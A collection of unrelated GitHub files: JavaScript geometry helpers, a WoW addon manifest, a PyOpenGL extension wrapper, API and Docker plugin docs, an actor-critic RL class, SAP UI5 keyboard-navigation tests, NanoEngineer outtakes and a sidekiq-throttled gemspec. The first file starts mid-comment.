{R.math.Point2D} The ending point for the line * @return {Array} An array of {@link R.math.Point2D}. Be sure to * destroy the points in the array when done using them. */ bresenham:function (start, end) { function swap(pt) { pt.set(pt.y, pt.x); } var points = [], steep = Math.abs(end.y - start.y) > Math.abs(end.x - start.x), swapped = false; if (steep) { // Reflect the line swap(start); swap(end); } if (start.x > end.x) { // Make sure the line goes downward var t = start.x; start.x = end.x; end.x = t; t = start.y; start.y = end.y; end.y = t; swapped = true; } var deltax = end.x - start.x, // x slope deltay = Math.abs(end.y - start.y), // y slope, positive because the lines always go down error = deltax / 2, // error is used instead of tracking the y values ystep, y = start.y; ystep = (start.y < end.y ? 1 : -1); for (var x = start.x; x < end.x; x++) { // for each point if (steep) { points.push(R.math.Point2D.create(y, x)); // if it's stepp, push flipped version } else { points.push(R.math.Point2D.create(x, y)); // push normal } error -= deltay; // change the error if (error < 0) { y += ystep; // if the error is too much, adjust the ystep error += deltax; } } if (swapped) { points.reverse(); } return points; }, /** * Determine if the given <code>point</code> is within the polygon defined by the array of * points in <code>poly</code>. * * @param point {R.math.Point2D} The point to test * @param poly {Array} An array of <code>R.math.Point2D</code> * @return {Boolean} <code>true</code> if the point is within the polygon */ pointInPoly:function (point, poly) { var sides = poly.length, i = 0, j = sides - 1, oddNodes = false; for (i = 0; i < sides; i++) { if ((poly[i].y < point.y && poly[j].y >= point.y) || (poly[j].y < point.y && poly[i].y >= point.y)) { if (poly[i].x + (point.y - poly[i].y) / (poly[j].y - poly[i].y) * (poly[j].x - poly[i].x) < point.x) { oddNodes = !oddNodes; } } j = i; } return oddNodes; }, /** * Determine if the given <code>point</code> is within the circle defined by the * <code>center</code> and <code>radius</code>. * @param point {R.math.Point2D} The point to test * @param center {R.math.Point2D} The center of the circle * @param radius {Number} The radius of the circle * @return {Boolean} <code>true</code> if the point is within the circle */ pointInCircle:function (point, center, radius) { // Point to circle hull test var distSqr = (point.x - center.x) * (point.x - center.x) + (point.y - center.y) * (point.y - center.y); return (distSqr < (radius * radius)); } };
{ "pile_set_name": "Github" }
## Interface: 80300 ## Title: tullaRange ## Author: Tuller ## Notes: Out of range coloring based on RedRange ## Version: 8.3.2 ## SavedVariables: TULLARANGE_COLORS tullaRange.lua ## Title-zhCN: |cff880303[爱不易]|r tulla 技能超距提示 ## Notes-zhCN: 动作条技能距离提示插件,当你的法术或技能超出距离或者没有足够的法力值时,将该动作条按钮着色,颜色可以修改为你想要的任意颜色,在界面选项的插件里进行设置。 ## X-Vendor: AbyUI
{ "pile_set_name": "Github" }
'''OpenGL extension ARB.matrix_palette This module customises the behaviour of the OpenGL.raw.GL.ARB.matrix_palette to provide a more Python-friendly API Overview (from the spec) This extension extends the abilities of ARB_vertex_blend to include a palette of modelview matrices. The n vertex units use a palette of m modelview matrices. (Where n and m are constrained to implementation defined maxima.) Each vertex has a set of n indices into the palette, and a corresponding set of n weights. Matrix indices can be changed for each vertex (between Begin and End). When this extension is utilized, the enabled units transform each vertex by the modelview matrices specified by the vertices' respective indices. These results are subsequently scaled by the weights of the respective units and then summed to create the eyespace vertex. A similar procedure is followed for normals. Normals, however, are transformed by the inverse transpose of the modelview matrix. The official definition of this extension is available here: http://www.opengl.org/registry/specs/ARB/matrix_palette.txt ''' from OpenGL import platform, constant, arrays from OpenGL import extensions, wrapper import ctypes from OpenGL.raw.GL import _types, _glgets from OpenGL.raw.GL.ARB.matrix_palette import * from OpenGL.raw.GL.ARB.matrix_palette import _EXTENSION_NAME def glInitMatrixPaletteARB(): '''Return boolean indicating whether this extension is available''' from OpenGL import extensions return extensions.hasGLExtension( _EXTENSION_NAME ) # INPUT glMatrixIndexubvARB.indices size not checked against size glMatrixIndexubvARB=wrapper.wrapper(glMatrixIndexubvARB).setInputArraySize( 'indices', None ) # INPUT glMatrixIndexusvARB.indices size not checked against size glMatrixIndexusvARB=wrapper.wrapper(glMatrixIndexusvARB).setInputArraySize( 'indices', None ) # INPUT glMatrixIndexuivARB.indices size not checked against size glMatrixIndexuivARB=wrapper.wrapper(glMatrixIndexuivARB).setInputArraySize( 'indices', None ) # INPUT glMatrixIndexPointerARB.pointer size not checked against 'size,type,stride' glMatrixIndexPointerARB=wrapper.wrapper(glMatrixIndexPointerARB).setInputArraySize( 'pointer', None ) ### END AUTOGENERATED SECTION
{ "pile_set_name": "Github" }
## sadd ## **接口:** `/sadd` **方法:** `POST` **参数:** * **tb** (必选) * **key** (必选) 该参数必须放在 `http body` 中 * **ver** (可选) 该接口是 `/hustdb/sadd` 的代理接口,参数详情可参考 [这里](../hustdb/hustdb/sadd.md) 。 **使用范例:** curl -i -X POST "http://localhost:8082/sadd?tb=test_table" -d "test_key" [上一页](../ha.md) [回首页](../../index.md)
{ "pile_set_name": "Github" }
--- title: "plugin install" description: "the plugin install command description and usage" keywords: "plugin, install" --- # plugin install ```markdown Usage: docker plugin install [OPTIONS] PLUGIN [KEY=VALUE...] Install a plugin Options: --alias string Local name for plugin --disable Do not enable the plugin on install --disable-content-trust Skip image verification (default true) --grant-all-permissions Grant all permissions necessary to run the plugin --help Print usage ``` ## Description Installs and enables a plugin. Docker looks first for the plugin on your Docker host. If the plugin does not exist locally, then the plugin is pulled from the registry. Note that the minimum required registry version to distribute plugins is 2.3.0 ## Examples The following example installs `vieus/sshfs` plugin and [sets](plugin_set.md) its `DEBUG` environment variable to `1`. To install, `pull` the plugin from Docker Hub and prompt the user to accept the list of privileges that the plugin needs, set the plugin's parameters and enable the plugin. ```bash $ docker plugin install vieux/sshfs DEBUG=1 Plugin "vieux/sshfs" is requesting the following privileges: - network: [host] - device: [/dev/fuse] - capabilities: [CAP_SYS_ADMIN] Do you grant the above permissions? [y/N] y vieux/sshfs ``` After the plugin is installed, it appears in the list of plugins: ```bash $ docker plugin ls ID NAME DESCRIPTION ENABLED 69553ca1d123 vieux/sshfs:latest sshFS plugin for Docker true ``` ## Related commands * [plugin create](plugin_create.md) * [plugin disable](plugin_disable.md) * [plugin enable](plugin_enable.md) * [plugin inspect](plugin_inspect.md) * [plugin ls](plugin_ls.md) * [plugin push](plugin_push.md) * [plugin rm](plugin_rm.md) * [plugin set](plugin_set.md) * [plugin upgrade](plugin_upgrade.md)
{ "pile_set_name": "Github" }
--- name: Chore about: Issues related to docs, workflow, dependency and others --- **Describe the chore** <!-- A clear and concise description of what you want to do. --> **Would you like to work on the issue?** <!-- Please let us know if you can work on it or the issue should be assigned to someone else. --> - [ ] Yes - [ ] No - Other:
{ "pile_set_name": "Github" }
# Localization ## Intro localization is used for multiple languages support ## How to add a new language 1. translate specific resource files from zh <https://github.com/OpenReservation/ReservationServer/tree/dev/OpenReservation/Resources/zh> 2. add translated resource files into the `Resources` dir <https://github.com/OpenReservation/ReservationServer/tree/dev/OpenReservation/Resources> 3. add supported culture in `appsettings.json`, `Localization:SupportedCultures` ``` json { "Localization": { "SupportedCultures": [ "zh", "en" ] } } ``` ## Contact contact me if you need: <[email protected]>
{ "pile_set_name": "Github" }
""" Actor-Critic ------------- It uses TD-error as the Advantage. Actor Critic History ---------------------- A3C > DDPG > AC Advantage ---------- AC converge faster than Policy Gradient. Disadvantage (IMPORTANT) ------------------------ The Policy is oscillated (difficult to converge), DDPG can solve this problem using advantage of DQN. Reference ---------- paper: https://papers.nips.cc/paper/1786-actor-critic-algorithms.pdf View more on MorvanZhou's tutorial page: https://morvanzhou.github.io/tutorials/ MorvanZhou's code: https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/ Environment ------------ CartPole-v0: https://gym.openai.com/envs/CartPole-v0 A pole is attached by an un-actuated joint to a cart, which moves along a frictionless track. The system is controlled by applying a force of +1 or -1 to the cart. The pendulum starts upright, and the goal is to prevent it from falling over. A reward of +1 is provided for every timestep that the pole remains upright. The episode ends when the pole is more than 15 degrees from vertical, or the cart moves more than 2.4 units from the center. Prerequisites -------------- tensorflow >=2.0.0a0 tensorlayer >=2.0.0 """ import time import tensorlayer as tl from rlzoo.common.utils import * from rlzoo.common.value_networks import * from rlzoo.common.policy_networks import * tl.logging.set_verbosity(tl.logging.DEBUG) ############################### Actor-Critic #################################### class AC: def __init__(self, net_list, optimizers_list, gamma=0.9): assert len(net_list) == 2 assert len(optimizers_list) == 2 self.name = 'AC' self.actor, self.critic = net_list assert isinstance(self.critic, ValueNetwork) assert isinstance(self.actor, StochasticPolicyNetwork) self.a_optimizer, self.c_optimizer = optimizers_list self.GAMMA = gamma def update(self, s, a, r, s_): # critic update v_ = self.critic(np.array([s_])) with tf.GradientTape() as tape: v = self.critic(np.array([s])) td_error = r + self.GAMMA * v_ - v # TD_error = r + lambd * V(newS) - V(S) loss = tf.square(td_error) grad = tape.gradient(loss, self.critic.trainable_weights) self.c_optimizer.apply_gradients(zip(grad, self.critic.trainable_weights)) # actor update with tf.GradientTape() as tape: # _logits = self.actor(np.array([s])) ## cross-entropy loss weighted by td-error (advantage), # the cross-entropy mearsures the difference of two probability distributions: the predicted logits and sampled action distribution, # then weighted by the td-error: small difference of real and predict actions for large td-error (advantage); and vice versa. _ = self.actor(np.array([s])) neg_log_prob = self.actor.policy_dist.neglogp([a]) _exp_v = tf.reduce_mean(neg_log_prob * td_error) grad = tape.gradient(_exp_v, self.actor.trainable_weights) self.a_optimizer.apply_gradients(zip(grad, self.actor.trainable_weights)) return _exp_v def get_action(self, s): return self.actor(np.array([s]))[0].numpy() def get_action_greedy(self, s): return self.actor(np.array([s]), greedy=True)[0].numpy() def save_ckpt(self, env_name): # save trained weights save_model(self.actor, 'model_actor', self.name, env_name) save_model(self.critic, 'model_critic', self.name, env_name) def load_ckpt(self, env_name): # load trained weights load_model(self.actor, 'model_actor', self.name, env_name) load_model(self.critic, 'model_critic', self.name, env_name) def learn(self, env, train_episodes=1000, test_episodes=500, max_steps=200, save_interval=100, mode='train', render=False, plot_func=None): """ :param env: learning environment :param train_episodes: total number of episodes for training :param test_episodes: total number of episodes for testing :param max_steps: maximum number of steps for one episode :param save_interval: time steps for saving the weights and plotting the results :param mode: 'train' or 'test' :param render: if true, visualize the environment :param plot_func: additional function for interactive module """ t0 = time.time() if mode == 'train': print('Training... | Algorithm: {} | Environment: {}'.format(self.name, env.spec.id)) reward_buffer = [] for i_episode in range(train_episodes): s = env.reset() ep_rs_sum = 0 # rewards of all steps for step in range(max_steps): if render: env.render() a = self.get_action(s) s_new, r, done, info = env.step(a) ep_rs_sum += r try: self.update(s, a, r, s_new) # learn Policy : true_gradient = grad[logPi(s, a) * td_error] except KeyboardInterrupt: # if Ctrl+C at running actor.learn(), then save model, or exit if not at actor.learn() self.save_ckpt(env_name=env.spec.id) plot_save_log(reward_buffer, algorithm_name=self.name, env_name=env.spec.id) s = s_new if done: break reward_buffer.append(ep_rs_sum) if plot_func is not None: plot_func(reward_buffer) print('Episode: {}/{} | Episode Reward: {:.4f} | Running Time: {:.4f}' \ .format(i_episode, train_episodes, ep_rs_sum, time.time() - t0)) if i_episode % save_interval == 0: self.save_ckpt(env_name=env.spec.id) plot_save_log(reward_buffer, algorithm_name=self.name, env_name=env.spec.id) self.save_ckpt(env_name=env.spec.id) plot_save_log(reward_buffer, algorithm_name=self.name, env_name=env.spec.id) elif mode == 'test': self.load_ckpt(env_name=env.spec.id) print('Testing... | Algorithm: {} | Environment: {}'.format(self.name, env.spec.id)) reward_buffer = [] for i_episode in range(test_episodes): s = env.reset() ep_rs_sum = 0 # rewards of all steps for step in range(max_steps): if render: env.render() a = self.get_action_greedy(s) s_new, r, done, info = env.step(a) s_new = s_new ep_rs_sum += r s = s_new if done: break reward_buffer.append(ep_rs_sum) if plot_func: plot_func(reward_buffer) print('Episode: {}/{} | Episode Reward: {:.4f} | Running Time: {:.4f}'.format( i_episode, test_episodes, ep_rs_sum, time.time() - t0)) elif mode is not 'test': print('unknow mode type')
{ "pile_set_name": "Github" }
/*global QUnit, sinon, oTable, oTreeTable */ sap.ui.define([ "sap/ui/table/qunit/TableQUnitUtils", "sap/ui/qunit/QUnitUtils", "sap/ui/table/Table", "sap/ui/table/TreeTable", "sap/ui/table/AnalyticalTable", "sap/ui/dom/containsOrEquals", "sap/ui/table/extensions/ExtensionBase", "sap/ui/table/extensions/Keyboard", "sap/ui/model/json/JSONModel", "sap/ui/Device" ], function(TableQUnitUtils, qutils, Table, TreeTable, AnalyticalTable, containsOrEquals, ExtensionBase, KeyboardExtension, JSONModel, Device) { "use strict"; // mapping of global function calls var oModel = window.oModel; var createTables = window.createTables; var destroyTables = window.destroyTables; var getCell = window.getCell; var getColumnHeader = window.getColumnHeader; var getRowHeader = window.getRowHeader; var getRowAction = window.getRowAction; var getSelectAll = window.getSelectAll; var initRowActions = window.initRowActions; var setFocusOutsideOfTable = window.setFocusOutsideOfTable; var TestControl = TableQUnitUtils.TestControl; QUnit.module("Initialization", { beforeEach: function() { createTables(); }, afterEach: function() { destroyTables(); } }); QUnit.test("init()", function(assert) { var oExtension = oTable._getKeyboardExtension(); assert.ok(!!oExtension, "Keyboard Extension available"); assert.ok(!oExtension._itemNavigation, "Item Navigation not yet initialized"); var iCount = 0; for (var i = 0; i < oTable.aDelegates.length; i++) { if (oTable.aDelegates[i].oDelegate === oExtension._delegate) { iCount++; } } assert.ok(iCount == 1, "Keyboard Delegate registered"); getCell(0, 0, true, assert); assert.ok(oExtension._itemNavigation, "Item Navigation initialized on focus"); setFocusOutsideOfTable(assert); }); QUnit.test("_debug()", function(assert) { var oExtension = oTable._getKeyboardExtension(); assert.ok(!oExtension._ExtensionHelper, "No debug mode"); oExtension._debug(); assert.ok(!!oExtension._ExtensionHelper, "Debug mode"); }); QUnit.module("Item Navigation", { beforeEach: function() { createTables(); }, afterEach: function() { destroyTables(); } }); QUnit.test("init() / destroy()", function(assert) { var oExtension = ExtensionBase.enrich(new Table(), KeyboardExtension); assert.ok(!oExtension._itemNavigation, "Item Navigation not yet initialized"); oExtension.initItemNavigation(); assert.ok(oExtension._itemNavigation, "Item Navigation initialized on focus"); oExtension.destroy(); assert.ok(!oExtension._itemNavigation, "Item Navigation not available anymore after destroy"); }); QUnit.test("invalidation", function(assert) { var oExtension = oTable._getKeyboardExtension(); assert.ok(oExtension._itemNavigationInvalidated, "Item Navigation invalid due to initial rendering"); oExtension.initItemNavigation(); assert.ok(!oExtension._itemNavigationInvalidated, "Item Navigation not invalid after initItemNavigation"); oExtension.invalidateItemNavigation(); assert.ok(oExtension._itemNavigationInvalidated, "Item Navigation invalid after invalidateItemNavigation"); }); var aEvents = [ "focusin", "sapfocusleave", "mousedown", "sapnext", "sapnextmodifiers", "sapprevious", "sappreviousmodifiers", "sappageup", "sappagedown", "saphome", "saphomemodifiers", "sapend", "sapendmodifiers", "sapkeyup" ]; function setupItemNavigationFakeTest(assert) { var oControl = new TestControl(); var oExtension = ExtensionBase.enrich(oControl, KeyboardExtension); oExtension._itemNavigation = { destroy: function() { } }; /* eslint-disable no-loop-func */ for (var i = 0; i < aEvents.length; i++) { oExtension._itemNavigation["on" + aEvents[i]] = function(oEvent) { assert.ok(true, oEvent.type + " reached ItemNavigation"); }; } /* eslint-enable no-loop-func */ oControl.removeEventDelegate(oExtension._delegate); return oControl; } QUnit.test("ItemNavigationDelegate", function(assert) { var oControl = setupItemNavigationFakeTest(assert); assert.expect(14); for (var i = 0; i < aEvents.length; i++) { /*eslint-disable new-cap */ oControl._handleEvent(jQuery.Event(aEvents[i])); /*eslint-enable new-cap */ } oControl._getKeyboardExtension().destroy(); }); QUnit.test("Suspend / Resume", function(assert) { var oControl = setupItemNavigationFakeTest(assert); var i; oControl._getKeyboardExtension()._suspendItemNavigation(); assert.expect(14); for (i = 0; i < aEvents.length; i++) { /*eslint-disable new-cap */ oControl._handleEvent(jQuery.Event(aEvents[i])); /*eslint-enable new-cap */ } oControl._getKeyboardExtension()._resumeItemNavigation(); for (i = 0; i < aEvents.length; i++) { /*eslint-disable new-cap */ oControl._handleEvent(jQuery.Event(aEvents[i])); /*eslint-enable new-cap */ } oControl._getKeyboardExtension().destroy(); }); QUnit.test("Marked Event", function(assert) { var oControl = setupItemNavigationFakeTest(assert); var i; assert.expect(14); for (i = 0; i < aEvents.length; i++) { /*eslint-disable new-cap */ var oEvent = jQuery.Event(aEvents[i]); /*eslint-enable new-cap */ oEvent.setMarked("sapUiTableSkipItemNavigation"); oControl._handleEvent(oEvent); } for (i = 0; i < aEvents.length; i++) { /*eslint-disable new-cap */ oControl._handleEvent(jQuery.Event(aEvents[i])); /*eslint-enable new-cap */ } oControl._getKeyboardExtension().destroy(); }); QUnit.test("Stored Focus Position", function(assert) { var oExtension = oTable._getKeyboardExtension(); oExtension._oLastFocusedCellInfo = null; oExtension.initItemNavigation(); var oInfo = oExtension._getLastFocusedCellInfo(); assert.strictEqual(oInfo.cell, oTable.columnCount + 2 /* 2* row header*/, "cell"); assert.strictEqual(oInfo.row, 1, "row"); assert.strictEqual(oInfo.columnCount, oTable.columnCount + 1 /*row header*/, "columnCount"); assert.strictEqual(oInfo.cellInRow, 1, "cellInRow"); assert.strictEqual(oInfo.cellCount, (oTable.columnCount + 1) * (3 /*visible rows*/ + 1), "cellCount"); assert.strictEqual(oInfo.header, 1, "header"); assert.ok(!oExtension._oLastFocusedCellInfo, "No LastFocusedCellInfo stored"); getCell(1, 2, true, assert); oInfo = oExtension._getLastFocusedCellInfo(); assert.strictEqual(oInfo.cell, 2 * (oTable.columnCount + 1) + 3, "cell"); assert.strictEqual(oInfo.row, 2, "row"); assert.strictEqual(oInfo.columnCount, oTable.columnCount + 1 /*row header*/, "columnCount"); assert.strictEqual(oInfo.cellInRow, 3, "cellInRow"); assert.strictEqual(oInfo.cellCount, (oTable.columnCount + 1) * (3 /*visible rows*/ + 1), "cellCount"); assert.strictEqual(oInfo.header, 1, "header"); assert.ok(oExtension._oLastFocusedCellInfo === oInfo, "LastFocusedCellInfo stored"); }); QUnit.module("Misc", { beforeEach: function() { createTables(); }, afterEach: function() { destroyTables(); } }); QUnit.test("Silent Focus", function(assert) { var oDelegate = { onfocusin: function(oEvent) { assert.ok(oEvent.isMarked("sapUiTableIgnoreFocusIn"), "Focus Event is marked to be ignored"); } }; oTable.addEventDelegate(oDelegate); assert.expect(1); var oExtension = oTable._getKeyboardExtension(); oExtension._setSilentFocus(getCell(0, 0)); oTable.removeEventDelegate(oDelegate); }); QUnit.test("Resize Bar", function(assert) { var oDelegate = { onfocusin: function(oEvent) { assert.ok(false, "The resize bar should not get focus"); } }; oTable.addEventDelegate(oDelegate); assert.expect(0); qutils.triggerMouseEvent(oTable.$("rsz"), "click"); oTable.removeEventDelegate(oDelegate); }); QUnit.test("Action Mode", function(assert) { var oTestArgs = {}; var bSkipActionMode = false; var bTestArguments = true; var bHandlerCalled = false; function testHandler(oArgs) { assert.ok(!!oArgs, "Arguments given"); if (bTestArguments) { assert.strictEqual(oArgs, oTestArgs, "Arguments forwarded as expected"); } bHandlerCalled = true; } var oControl = new TestControl(); var oExtension = ExtensionBase.enrich(oControl, KeyboardExtension); oExtension._delegate = { enterActionMode: function(oArgs) { testHandler(oArgs); return !bSkipActionMode; }, leaveActionMode: testHandler }; assert.ok(!oExtension.isInActionMode(), "Initially no action mode"); oExtension.setActionMode(true, oTestArgs); assert.ok(bHandlerCalled, "enterActionMode called"); assert.ok(oExtension.isInActionMode(), "Switched to action mode"); bHandlerCalled = false; bTestArguments = false; oExtension.setActionMode(true, oTestArgs); assert.ok(!bHandlerCalled, "enterActionMode not called after duplicate setActionMode"); assert.ok(oExtension.isInActionMode(), "Still in action mode"); bTestArguments = true; oExtension.setActionMode(false, oTestArgs); assert.ok(bHandlerCalled, "leaveActionMode called"); assert.ok(!oExtension.isInActionMode(), "Switched off action mode"); bHandlerCalled = false; bTestArguments = false; oExtension.setActionMode(false, oTestArgs); assert.ok(!bHandlerCalled, "leaveActionMode not called after duplicate setActionMode"); assert.ok(!oExtension.isInActionMode(), "Still not in action mode"); bTestArguments = true; bSkipActionMode = true; oExtension.setActionMode(true, oTestArgs); assert.ok(bHandlerCalled, "enterActionMode called"); assert.ok(!oExtension.isInActionMode(), "Still not in action mode"); oControl.destroy(); }); QUnit.test("Table Type", function(assert) { assert.strictEqual((new TreeTable())._getKeyboardExtension()._getTableType(), ExtensionBase.TABLETYPES.TREE, "TREE"); assert.strictEqual((new Table())._getKeyboardExtension()._getTableType(), ExtensionBase.TABLETYPES.STANDARD, "STANDARD"); assert.strictEqual((new AnalyticalTable())._getKeyboardExtension()._getTableType(), ExtensionBase.TABLETYPES.ANALYTICAL, "ANALYTICAL"); }); QUnit.test("Overly / NoData focus handling", function(assert) { var done = assert.async(); function containsOrHasFocus(sIdSuffix) { return containsOrEquals(oTable.getDomRef(sIdSuffix), document.activeElement); } function doAfterNoDataDisplayed() { oTable.detachEvent("_rowsUpdated", doAfterNoDataDisplayed); assert.ok(containsOrHasFocus("overlay"), "focus is still on overlay after no data is displayed"); oTable.setShowOverlay(false); assert.ok(containsOrHasFocus("noDataCnt"), "focus is on noData container after overlay dissappeared"); oTable.attachEvent("_rowsUpdated", doAfterNoDataIsHidden); oTable.setModel(oModel); } function doAfterNoDataIsHidden() { oTable.detachEvent("_rowsUpdated", doAfterNoDataIsHidden); var oElem = getColumnHeader(0); assert.ok(oElem.length && oElem.get(0) === document.activeElement, "focus is on first column header after no Data dissappeared"); done(); } assert.ok(!containsOrHasFocus(), "focus is not on the table before setShowOverlay"); oTable.setShowOverlay(true); assert.ok(!containsOrHasFocus(), "focus is not on the table after setShowOverlay"); oTable.focus(); assert.ok(containsOrHasFocus("overlay"), "focus is on overlay after focus"); oTable.attachEvent("_rowsUpdated", doAfterNoDataDisplayed); oTable.setModel(new JSONModel()); }); QUnit.test("IEFocusOutlineWorkaround", function(assert) { var bOriginalMSIE = Device.browser.msie; Device.browser.msie = false; var $Cell = getCell(0, 0); assert.ok(!$Cell.attr("data-sap-ui-table-focus"), "'data-sap-ui-table-focus' attribute not set"); $Cell.trigger("focus"); assert.ok(!$Cell.attr("data-sap-ui-table-focus"), "'data-sap-ui-table-focus' attribute not set"); getCell(0, 1, true, assert); // Put focus somewhere else Device.browser.msie = true; $Cell = getCell(0, 0); assert.ok(!$Cell.attr("data-sap-ui-table-focus"), "'data-sap-ui-table-focus' attribute not set"); $Cell.trigger("focus"); var sValue1 = $Cell.attr("data-sap-ui-table-focus"); assert.ok(!!sValue1, "'data-sap-ui-table-focus' attribute set"); getCell(0, 1, true, assert); $Cell = getCell(0, 0); $Cell.trigger("focus"); var sValue2 = $Cell.attr("data-sap-ui-table-focus"); assert.ok(!!sValue2, "'data-sap-ui-table-focus' attribute set"); assert.ok(sValue1 != sValue2, "'data-sap-ui-table-focus' attribute value changed"); assert.ok(jQuery("head").text().indexOf(".sapUiTableStatic[data-sap-ui-table-focus]") >= 0, "Style set"); Device.browser.msie = bOriginalMSIE; }); QUnit.test("Focus restoration and item navigation reinitialization", function(assert) { initRowActions(oTable, 1, 1); sap.ui.getCore().applyChanges(); var oKeyboardExtension = oTable._getKeyboardExtension(); var aTestElementIds = [ getCell(0, 0)[0].id, getColumnHeader(0)[0].id, getRowHeader(0)[0].id, getRowAction(0)[0].id, getSelectAll()[0].id ]; var oInitItemNavigationSpy; var oInvalidateItemNavigationSpy; var oOnFocusInSpy = sinon.spy(); oTable.addEventDelegate({ onfocusin: oOnFocusInSpy }); oKeyboardExtension._debug(); oInitItemNavigationSpy = sinon.spy(oKeyboardExtension._ExtensionHelper, "_initItemNavigation"); aTestElementIds.forEach(function(sId) { document.getElementById(sId).focus(); oInitItemNavigationSpy.reset(); oOnFocusInSpy.reset(); oTable.rerender(); assert.ok(oInitItemNavigationSpy.calledOnce, "Re-rendered when focus was on " + sId + ": The item navigation was reinitialized"); assert.strictEqual(document.activeElement.id, sId, "Re-rendered when focus was on " + sId + ": The correct element is focused"); assert.ok(oOnFocusInSpy.callCount <= 1, "Re-rendered when focus was on " + sId + ": The onfocusin event was not triggered more than once"); oInitItemNavigationSpy.reset(); oOnFocusInSpy.reset(); oTable._getRowMode().renderTableRows(); assert.ok(oInitItemNavigationSpy.calledOnce, "Re-rendered rows when focus was on " + sId + ": The item navigation was reinitialized"); assert.strictEqual(document.activeElement.id, sId, "Re-rendered rows when focus was on " + sId + ": The correct element is focused"); assert.ok(oOnFocusInSpy.callCount <= 1, "Re-rendered rows when focus was on " + sId + ": The onfocusin event was not triggered more than once"); }); // Focus a cell in the TreeTable to check if the Table steals the focus. var oFocusedElement = getCell(0, 0, true, null, oTreeTable)[0]; oInitItemNavigationSpy.reset(); oInvalidateItemNavigationSpy = sinon.spy(oKeyboardExtension, "invalidateItemNavigation"); oOnFocusInSpy.reset(); oTable.rerender(); assert.ok(oInitItemNavigationSpy.notCalled, "Re-rendered when focus was on an element outside the table: The item navigation was not reinitialized"); assert.ok(oInvalidateItemNavigationSpy.calledOnce, "Re-rendered when focus was on an element outside the table: The item navigation was invalidated"); assert.strictEqual(document.activeElement.id, oFocusedElement.id, "Re-rendered when focus was on an element outside the table: The correct element is focused"); assert.ok(oOnFocusInSpy.notCalled, "Re-rendered when focus was on an element outside the table: The onfocusin event was not triggered"); oInitItemNavigationSpy.reset(); oInvalidateItemNavigationSpy.reset(); oTable._getRowMode().renderTableRows(); assert.ok(oInitItemNavigationSpy.notCalled, "Re-rendered rows when focus was on an element outside the table: The item navigation was not reinitialized"); assert.ok(oInvalidateItemNavigationSpy.calledOnce, "Re-rendered rows when focus was on an element outside the table: The item navigation was invalidated"); assert.strictEqual(document.activeElement.id, oFocusedElement.id, "Re-rendered rows when focus was on an element outside the table: The correct element is focused"); assert.ok(oOnFocusInSpy.notCalled, "Re-rendered when focus was on an element outside the table: The onfocusin event was not triggered"); }); QUnit.module("Destruction", { beforeEach: function() { createTables(); }, afterEach: function() { destroyTables(); } }); QUnit.test("destroy()", function(assert) { var oExtension = oTable._getKeyboardExtension(); oTable.destroy(); assert.ok(!oExtension.getTable(), "Table cleared"); assert.ok(!oExtension._itemNavigation, "Item Navigation cleared"); assert.ok(!oExtension._delegate, "Delegate cleared"); }); });
{ "pile_set_name": "Github" }
ROLE_SYSTEM_DOCUMENT READONLY FOCUSABLE ia2_hypertext='<obj0>' caret_offset=0 n_selections=0 ++IA2_ROLE_SECTION ia2_hypertext='<obj0>' caret_offset=0 n_selections=0 ++++ROLE_SYSTEM_TEXT value='••••••' FOCUSABLE PROTECTED IA2_STATE_EDITABLE IA2_STATE_SELECTABLE_TEXT IA2_STATE_SINGLE_LINE text-input-type:password ia2_hypertext='••••••' caret_offset=6 n_selections=0
{ "pile_set_name": "Github" }
see also model/prefsTree.py since then moved to outtakes ===== from modelTree/TreeModel.py: _DEBUG_PREFTREE = False # bruce 050602 experiment; do not commit with True from end of get_topnodes in TreeModel if _DEBUG_PREFTREE: #bruce 050602 try: from foundation.Utility import Node ## print "reloading prefsTree" import model.prefsTree as _X reload(_X) from model.prefsTree import prefsTree # constructor for an object which has a tree of nodes and controls them self.pt = prefsTree(self.assy) # guess; guessing it's ok to remake it each time ptnode = self.pt.topnode assert ptnode is not None assert isinstance(ptnode, Node) topnodes.append(ptnode) except: print_compact_traceback("error importing prefsTree or making one: ") from TreeModel.make_cmenuspec... just before copy, cut, delete # Customize command [bruce 050602 experiment -- unfinished and commented out ###@@@] # [later comment, bruce 050704: I think this was intended to suggest PrefsNodes applicable to the selected item or items, # and to make them and group them with it. Or (later) to put up a dialog whose end result might be to do that.] # Provide this when all items are in the same group? no, any items could be grouped... # so for initial experiments, always provide it. If it's a submenu, the selected items might affect # what's in it, and some things in it might be already checkmarked if PrefsNodes are above them ... # for very initial experiment let's provide it only for single items. # Do we ask them what can be customized about them? I guess so. ##unfinished... ## if _DEBUG_PREFTREE and len(nodeset) == 1: ## mspec = nodeset[0].customize_menuspec() ## submenu = [] ====== from assembly.py from model.prefsTree import MainPrefsGroupPart in class Assembly: prefs_node = None #bruce 050602; default value of instance variable; experimental near end of topnode_partmaker_pairs: if self.prefs_node is not None: res.append(( self.prefs_node, MainPrefsGroupPart )) near end of topnodes_with_own_parts if self.prefs_node is not None: res.append( self.prefs_node) in valid_selgroup: if not (self.root.is_ascendant(sg) or self.prefs_node is sg): #bruce 050602 kluge: added prefs_node return False # can this ever happen??
{ "pile_set_name": "Github" }
# frozen_string_literal: true lib = File.expand_path("lib", __dir__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require "sidekiq/throttled/version" Gem::Specification.new do |spec| spec.name = "sidekiq-throttled" spec.version = Sidekiq::Throttled::VERSION spec.authors = ["Alexey V Zapparov"] spec.email = ["[email protected]"] spec.summary = "Concurrency and threshold throttling for Sidekiq." spec.description = "Concurrency and threshold throttling for Sidekiq." spec.homepage = "https://github.com/sensortower/sidekiq-throttled" spec.license = "MIT" spec.files = `git ls-files -z`.split("\x0").reject do |f| f.match %r{^(test|spec|features)/} end spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ["lib"] spec.required_ruby_version = "~> 2.4" spec.add_runtime_dependency "concurrent-ruby" spec.add_runtime_dependency "redis-prescription" spec.add_runtime_dependency "sidekiq" spec.add_development_dependency "bundler", "~> 2.0" end
{ "pile_set_name": "Github" }
